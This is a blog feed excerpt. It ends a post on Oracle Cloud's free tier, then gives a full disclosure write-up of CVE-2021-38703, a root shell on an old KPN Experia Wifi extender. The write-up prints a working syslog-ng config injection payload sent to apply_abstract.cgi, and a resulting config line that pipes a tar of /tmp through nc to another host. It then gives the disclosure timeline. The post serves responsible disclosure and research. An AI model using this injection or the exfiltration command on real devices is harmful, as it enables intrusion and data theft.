&lt;p&gt;When deploying a new VM, hidden in advanced settings is a set of &lt;a href=&#34;https://docs.oracle.com/en/cloud/paas/management-cloud/emaig/install-cloud-agents.html&#34;&gt;Oracle Cloud Agents&lt;/a&gt;.
They can do fancy things like upgrade software for you (except, apparently, the agents themselves, the page warns me).&lt;/p&gt;
&lt;p&gt;One of the agents looks very useful but also scary - it allows command execution from the control panel right inside your VM.
I ponder the implications for a bit, but decide that somebody who has access to the control panel can do whatever they want, even if would normally take a few more steps (shut VM A down, make a new VM B, mount storage from VM A on VM B, change some passwords or drop an ssh pubkey in, etc.).&lt;/p&gt;
&lt;p&gt;I try the command execution agent.
It does not work.
Logs on the system report an Authorization Error in talking to Oracle&amp;rsquo;s backend.&lt;/p&gt;
&lt;h1 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;The Always Free Resources program is enticing.
Many people would probably be happy to have the power to spin up a few VMs here and there without any payment relationship, and no financial risk if they accidentally leave something running.&lt;/p&gt;
&lt;p&gt;The basic service I care about (the VMs) seems fine - but I did not get to play around inside them that much.
Everything around the VMs is beta-quality or worse.
Signup is somewhat painful, various help links in the control panel lead to 404s, and, as detailed above, account management is full of surprises, and eventually locked me out completely.&lt;/p&gt;
&lt;p&gt;It is clear Oracle is trying to grab some market by drawing in users with some exciting free stuff.
It is sad, then, that at least this user has been completely discouraged to spend money with them, a mere two hours after signup.&lt;/p&gt;
&lt;h1 id=&#34;updates&#34;&gt;Updates&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Thursday 23 September: I get an email &amp;ldquo;Your Oracle Cloud Free Trial expires in 7 days&amp;rdquo;.
Then, a phone call.
Oracle would like to know how my free trial is going.
I tell the friendly person on the other end of the line that I lost access after a few hours and have not been able to get back in.
He says he will look into it.
(Nothing has come of this.)&lt;/li&gt;
&lt;li&gt;Wednesday 29 September: Oracle Cloud randomly comes up in conversation, and I decide to give the password reset procedure another try.
This time, I cracked the code.
Wherever a form says &amp;ldquo;username&amp;rdquo; (and I do have a username!), you need to pretend it says &amp;ldquo;email address&amp;rdquo;.
I have regained access to my account.&lt;/li&gt;
&lt;li&gt;Also Wednesday 29 September: a friend who sees this blog post mentions to me he never managed to spawn an ARM VM.
Having destroyed mine almost a month ago, I try making one now, but apparently they are out of stock.&lt;/li&gt;
&lt;li&gt;November 7 2022: I try logging in. I am (I think, the dialog is not very clear) forced to change my password. The &amp;ldquo;change password&amp;rdquo; dialog is broken. Inspection of underlying requests shows a &amp;ldquo;400 Bad Request&amp;rdquo; response to a &amp;ldquo;ApplicablePasswordPolicyRetriever&amp;rdquo; call. I cannot log in.&lt;/li&gt;
&lt;li&gt;November 17 2022: the retriever is fixed. However, &lt;code&gt;Uncaught TypeError: v.oldPasswordValue() is undefined&lt;/code&gt; - so I still cannot log in.&lt;/li&gt;
&lt;/ul&gt;
</content>
            
            
            
            
            
                
                    
                
            
        </entry>
    
        <entry>
            <title type="text">Getting a root shell on an old KPN Experia Wifi (CVE-2021-38703)</title>
            <link rel="alternate" type="text/html" href="https://7bits.nl/journal/posts/cve-2021-38703-kpn-experia-wifi-root-shell/" />
            <id>https://7bits.nl/journal/posts/cve-2021-38703-kpn-experia-wifi-root-shell/</id>
            <updated>2021-09-07T20:42:59&#43;02:00</updated>
            <published>2021-08-25T13:00:00&#43;02:00</published>
            <author>
                    <name>Peter van Dijk</name>
                    <uri>https://7bits.nl/journal/</uri>
                    <email>peter@7bits.nl</email>
                    </author>
            <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights><summary type="html">The KPN Experia Wifi was sold by KPN/Telfort in The Netherlands as a WiFi amplifier/extender, for those households or businesses that need that extra WiFi oomph. On mine, running an old firmware version, I managed to gain a root shell.
KPN asked that I state clearly here that the vulnerability has been fixed since, and updated devices are not affected.</summary>
            
                <content type="html">&lt;p&gt;The &lt;a href=&#34;https://www.kpn.com/service/internet/wifi-en-modems/handleidingen-experia-box.htm#!/device/kpn/experia-wifi&#34;&gt;KPN Experia Wifi&lt;/a&gt; was sold by KPN/Telfort in The Netherlands as a WiFi amplifier/extender, for those households or businesses that need that extra WiFi oomph.
On mine, running an old firmware version, I managed to gain a root shell.&lt;/p&gt;
&lt;p&gt;KPN asked that I state clearly here that the vulnerability has been fixed since, and updated devices are not affected.
Any device that is actually in use, and thus connected to the Internet, will have been updated automatically.&lt;/p&gt;
&lt;p&gt;I did not look at any newer firmware versions than the one mentioned below.&lt;/p&gt;
&lt;p&gt;Content below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/cve-2021-38703-kpn-experia-wifi-root-shell/#background&#34;&gt;Background&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/cve-2021-38703-kpn-experia-wifi-root-shell/#exploit&#34;&gt;Exploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/cve-2021-38703-kpn-experia-wifi-root-shell/#timeline&#34;&gt;Disclosure timeline&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;
&lt;p&gt;&lt;img src=&#34;kpn-experia-wifi.jpg&#34; alt=&#34;KPN Experia Wifi&#34;&gt;&lt;/p&gt;
&lt;p&gt;Telfort kindly sent me one in late 2019, even though I never asked for one or complained about my WiFi.
I unpacked it and promptly forgot about it.
Then, a few weeks ago, a fellow KPN customer came into the #openwrt IRC channel, mentioning that he found this same device in a drawer somewhere, and noting that it appears to be based on the MT7621 chipset, which is generally well supported in OpenWrt.
They asked whether it would be possible to install OpenWrt on it.
The general response from the channel was &amp;ldquo;well, we would need to know more&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;That other user soldered wires to the UART, and got to a U-boot prompt, which demanded a password for anything interesting.
Neither they nor I had the right hardware to directly access the flash chip on board.&lt;/p&gt;
&lt;p&gt;So, I figured I would take a look at the software side of things.&lt;/p&gt;
&lt;p&gt;The letter that came with it said it would automatically copy WiFi settings from the KPN router.
I wanted to investigate that process at some point (but not today), so I decided to not connect the Experia Wifi to the router or to the Internet at all at this point.
It turns out this may have been a very lucky choice!&lt;/p&gt;
&lt;p&gt;I powered the device up, connected only to a spare computer, and found out it was running software not from 2019 (when I received the box) but even older - from 2017.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;versions.png&#34; alt=&#34;software version&#34;&gt;&lt;/p&gt;
&lt;p&gt;I was vaguely aware of recent security work on Arcadyan devices, and soon found &lt;a href=&#34;https://www.tenable.com/security/research/tra-2021-13&#34;&gt;this report by Tenable&lt;/a&gt; - at the time, it did not include the exploit PoCs for the 3 CVEs.
Without much knowledge about existing vulnerabilities, but with optimism about exploiting this box, I went on.&lt;/p&gt;
&lt;h1 id=&#34;exploit&#34;&gt;Exploit&lt;/h1&gt;
&lt;p&gt;The web interface is quite limited (this is sold as an AP/extender, not as a router at all, although I suspect the hardware could serve as one just fine).
I dug around for a bit, until I stumbled upon the syslog interface, which allowed me to configure the logging level.
The config I chose was POSTed to &lt;code&gt;/apply_abstract.cgi&lt;/code&gt; with data looking something like (formatted for readability):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;action=syslog_ng_restart
httoken=1478967339
submit_button=security_log.htm
393239000000=200
393240000000=debug
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;200&lt;/code&gt; is the log file size.
&lt;code&gt;debug&lt;/code&gt; is the log level I chose.&lt;/p&gt;
&lt;p&gt;Playing around a bit, I quickly found that changing &lt;code&gt;debug&lt;/code&gt; to &lt;code&gt;debugx&lt;/code&gt; yielded an error from syslog-ng:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[err]:[syslog-ng Error in configuration, unresolved processing element reference; pipeline=&amp;#39;f_debugx&amp;#39;]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Clearly, the web interface is injecting our input directly into the syslog-ng config file.
I spent some time with the syslog-ng docs, learned about program sources, and then bit by bit crafted this input:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;action=syslog_ng_restart
httoken=1478967339
submit_button=security_log.htm
393239000000=200
393240000000=debug); }; source s_habbie { program(&amp;#34;id&amp;#34;); }; log { source(s_habbie); filter(f_debug
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;id&lt;/code&gt; output appeared in the log: &lt;code&gt;[uid=0(root) gid=0]&lt;/code&gt; !&lt;/p&gt;
&lt;p&gt;Now that I had shell, I could actually check my work. This is what I found on the device in &lt;code&gt;/tmp/syslog-ng-client.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;log { source(s_internal); filter(f_cron); filter(f_debug); }; source s_habbie { program(&amp;#34;tar -cf - /tmp | nc 192.168.2.6 5555; sleep 10&amp;#34;); }; log { source(s_habbie); filter(f_debug); destination(d_local_file); };
source s_local_file{ file(&amp;#34;`SYSLOG_NG_LOG_FILE`&amp;#34; flags(no-parse) log_fetch_limit(50));};
destination d_remote { syslog(&amp;#34;192.168.2.6&amp;#34; 
						transport(&amp;#34;udp&amp;#34;) port(&amp;#34;514&amp;#34;)); }; 
log { source(s_local_file); destination(d_remote); flags(flow-control);}; 
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(You&amp;rsquo;ll note that remote syslog is enabled - this was available from the settings form and it really simplified this work.)&lt;/p&gt;
&lt;h1 id=&#34;timeline&#34;&gt;Disclosure timeline&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;28 July 2021
&lt;ul&gt;
&lt;li&gt;I email KPN-CERT, as the vendor of the device, and explain the vulnerability I found, including the small PoC you can see above.
I clarify that I am aware I am running very old firmware.
I ask if what I found might be CVE-2021-20091 from the &lt;a href=&#34;https://www.tenable.com/security/research/tra-2021-13&#34;&gt;Tenable report&lt;/a&gt;, as that report is (at the time) very light on details, but the underlying vendor and the vulnerability title (&amp;lsquo;Configuration File Injection&amp;rsquo;) fit.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;29 July 2021
&lt;ul&gt;
&lt;li&gt;KPN-CERT responds, asking me to keep this knowledge to myself until relevant holes have been plugged, and telling me they are investigating.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;4 August 2021
&lt;ul&gt;
&lt;li&gt;KPN-CERT emails me.
They asked the vendor, and the vendor said this vulnerability was known.
They ask me if it is possible my WiFi device has not been connected to the Internet for a while, because that might explain why it is missing an update.&lt;/li&gt;
&lt;li&gt;I reply back to KPN-CERT.
I repeat that I am aware my firmware is old, and note that I am not surprised the vulnerability has been fixed since!
I ask if this is CVE-2021-20091.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;10 August 2021
&lt;ul&gt;
&lt;li&gt;KPN-CERT replies, to tell me it is most likely a different CVE, but they do not know which one.&lt;/li&gt;
&lt;li&gt;I email KPN-CERT, asking if they can help me with a responsible disclosure timeline, and perhaps connect me to their vendor (which I assume to be Arcadyan).&lt;/li&gt;
&lt;li&gt;KPN CERT responds: we cannot request a CVE for you.
This problem might be limited to our custom firmware.
We are closing this case.
Thank you for your report.&lt;/li&gt;
&lt;li&gt;I email KPN-CERT to ask if this means I can publish my findings.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While waiting for KPN-CERT to reply, I do another web search to see if I really did not miss an earlier report of this vulnerability.
I find that on August 3rd, one week ago, Tenable added PoCs to their report, and posted &lt;a href=&#34;https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2&#34;&gt;Bypassing Authentication on Arcadyan Routers with CVE-2021–20090 and rooting some Buffalo&lt;/a&gt; on their Tech Blog.&lt;/p&gt;
&lt;p&gt;It turns out that CVE-2021-20091 is a bug in &lt;code&gt;apply_abstract.cgi&lt;/code&gt;, like I found, but a different one!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;10 August 2021, continued
&lt;ul&gt;
&lt;li&gt;I contact Tenable to ask if they can help me talk to Arcadyan, and any possibly affected resellers of Arcadyan gear.
They tell me they handled that via CERT CC, as it was very hard to reach the vendors.&lt;/li&gt;
&lt;li&gt;I contact &lt;a href=&#34;https://kb.cert.org/vuls/&#34;&gt;CERT CC&lt;/a&gt; to see if they are willing to help me find any other affected vendors.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;11 August 2021
&lt;ul&gt;
&lt;li&gt;KPN asks if they can preview this article.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;12 August 2021
&lt;ul&gt;
&lt;li&gt;CERT CC lets me know that they will not handle the case, as KPN has indicated to me that the vendor has already plugged the hole in an update.
CERT CC says I can get a CVE from Mitre if one has not been assigned for this problem yet.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;15 August 2021
&lt;ul&gt;
&lt;li&gt;Mitre assigns CVE-2021-38703.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;17 August 2021
&lt;ul&gt;
&lt;li&gt;KPN asks me to stress that any connected devices will have received the update plugging this hole.
They ask me to wait with publication until &amp;lsquo;media relations&amp;rsquo; has also vetted this article.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;19 August 2021
&lt;ul&gt;
&lt;li&gt;KPN media relations also approves publication.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;25 August 2021
&lt;ul&gt;
&lt;li&gt;This post is published.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;1 September 2021
&lt;ul&gt;
&lt;li&gt;MITRE updates &lt;a href=&#34;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38703&#34;&gt;the page for CVE-2021-38703&lt;/a&gt; to link to this post.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
</content>
            
            
            
            
            
                
                    
                        
                            
                            
                            
                                <category scheme="https://7bits.nl/journal/tags/arcadyan/" term="Arcadyan" label="Arcadyan" />
                            
                        
                            
                            
                            
                                <category scheme="https://7bits.nl/journal/tags/experia/" term="Experia" label="Experia" />
                            
                        
                            
                            
                            
                                <category scheme="https://7bits.nl/journal/tags/cve/" term="CVE" label="CVE" />
                            
                        
                    
                
            
        </entry>
    
</feed>
